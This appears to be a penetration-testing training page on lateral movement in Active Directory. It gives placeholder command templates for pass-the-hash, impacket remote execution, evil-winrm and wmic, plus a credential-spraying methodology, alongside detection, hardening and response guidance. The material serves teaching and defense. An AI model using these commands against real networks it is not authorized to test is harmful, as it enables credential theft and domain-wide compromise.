Skip to content
Pwnversity

Lateral Movement

Lateral movement is hopping from one compromised host to another within the domain, reusing credentials (passwords, NT hashes, Kerberos tickets) until you reach what matters: a DC, a file server, an admin’s workstation. In AD you almost never need an exploit: with valid credentials and the right administration protocol (SMB, WinRM, WMI, RDP), Windows lets you run remote code as if you were a legitimate admin. The key is that the same credentials usually work on many machines.

Threat model

Section titled “Threat model”

AD is designed for centralized remote administration, so running commands on another machine with valid credentials is functionality, not a bug. The attacker inherits that power: a hash stolen on host A opens host B where that account is local admin. The underlying problem is credential reuse (same local admin everywhere, domain admins with sessions on workstations) and lack of segmentation.

Reusable-authentication techniques

Section titled “Reusable-authentication techniques”

Pass-the-Hash (PtH)

Section titled “Pass-the-Hash (PtH)”

With an admin’s NT hash, authenticate via NTLM without knowing the password:

nxc smb <range> -u Administrator -H <NThash> --local-auth   # where am I admin?
psexec.py -hashes :<NThash> domain/Administrator@<host>
wmiexec.py -hashes :<NThash> domain/Administrator@<host>

Pass-the-Ticket / Overpass-the-Hash

Section titled “Pass-the-Ticket / Overpass-the-Hash”

With a stolen or hash-forged TGT/TGS (see Kerberos Attacks), authenticate via Kerberos. Useful when NTLM is restricted.

impacket’s “-exec” (execution methods)

Section titled “impacket’s “-exec” (execution methods)”
psexec.py   domain/user:pass@host   # creates a service -> SYSTEM, noisy
smbexec.py  domain/user:pass@host   # similar, semi-interactive
wmiexec.py  domain/user:pass@host   # via WMI, stealthier (no service)
atexec.py   domain/user:pass@host   # via scheduled tasks
dcomexec.py domain/user:pass@host   # via DCOM

WinRM / PowerShell Remoting (port 5985/5986)

Section titled “WinRM / PowerShell Remoting (port 5985/5986)”
evil-winrm -i <host> -u user -p pass
evil-winrm -i <host> -u user -H <NThash>
# native: Enter-PSSession / Invoke-Command -ComputerName

Native WMI / DCOM / RDP

Section titled “Native WMI / DCOM / RDP”
# WMI
wmic /node:<host> /user:domain\user /password:pass process call create "cmd /c ..."
# RDP with a hash (if Restricted Admin is enabled)
xfreerdp /v:<host> /u:Administrator /pth:<NThash>

Methodology

Section titled “Methodology”
  1. Dump credentials on the current host (Credential Dumping).
  2. Local-admin spray: nxc smb <range> -u X -H <hash> → flag where Pwn3d!.
  3. Execute on the next host, dump credentials there, repeat.
  4. Hunt for privileged users’ sessions (BloodHound HasSession) → steal their credentials where they are.

Tools

Section titled “Tools”
  • NetExec (nxc) — credential spray + execution (SMB/WinRM/WMI/MSSQL/RDP) at scale.
  • impacket (psexec/wmiexec/smbexec/atexec/dcomexec) — multi-method remote execution.
  • evil-winrm — comfortable WinRM shell (supports hash and cert).
  • mimikatz/Rubeus — PtH/PtT; BloodHound — where to reuse and which sessions to steal.

Impact

Section titled “Impact”

Propagation across the whole network to the DC. Lateral movement is what turns a single compromised host into domain control; combined with credential dumping at each hop, the advance is exponential.

Blue Team

Section titled “Blue Team”

Detection

Section titled “Detection”
  • psexec/smbexec: remote service creation (7045), binary writes to ADMIN$, characteristic named pipes.
  • wmiexec: wmiprvse.exe launching cmd.exe; WinRM: wsmprovhost.exe as an anomalous parent.
  • Type 3 (network) logons with the same account against many hosts in a short time; type 9 (overpass/PtH) with seclogo.
  • Pass-the-Hash: NTLM logon with an account that normally uses Kerberos.

Telemetry

Section titled “Telemetry”

4624 (logon with type), 4648 (explicit credentials), 5140/5145 (access to ADMIN$/C$ shares), 7045 (services), Sysmon 1/3, and WinRM/WMI logs. Correlate “one account, many destinations.”

Hardening

Section titled “Hardening”
  • LAPS: unique local-admin password per host → a stolen hash doesn’t open the whole network (kills mass PtH).
  • Disable remote local admin (UAC remote restrictions / LocalAccountTokenFilterPolicy) and local accounts over the network (Deny network logon for local accounts).
  • Tiering/PAW and Protected Users: keep DAs from leaving credentials on workstations; network segmentation and host-based firewall (block lateral SMB/WinRM between workstations).
  • Credential Guard, disable WDigest, monitor remote service creation.

Response

Section titled “Response”

Identify the hop chain (same account/source), isolate the touched hosts, rotate the reused credentials (local admin via LAPS, compromised domain accounts), and hunt for persistence left at each hop.

CVEs and real-world cases

Section titled “CVEs and real-world cases”
  • PtH/PtT and the “-exec” methods are ubiquitous TTPs (MITRE T1021, T1550.002 PtH, T1550.003 PtT, T1570).
  • NotPetya (2017) spread by combining mimikatz (credential theft) + PsExec/WMI (lateral) — the canonical mass-damage case.
  • Conti, Ryuk, LockBit document nxc/impacket + PtH as their standard propagation method toward the DC.

Testing checklist

Section titled “Testing checklist”
  • Dump credentials on the current host (hashes/tickets)
  • Local-admin spray with the hash → where Pwn3d!?
  • PtH via psexec/wmiexec/smbexec to the next host
  • WinRM (evil-winrm) with password or hash
  • Pass-the-ticket / overpass-the-hash where NTLM is restricted
  • Privileged users’ sessions to steal (BloodHound HasSession)
  • RDP with a hash (Restricted Admin)
  • Blue: do LAPS and segmentation stop reuse?

References

Section titled “References”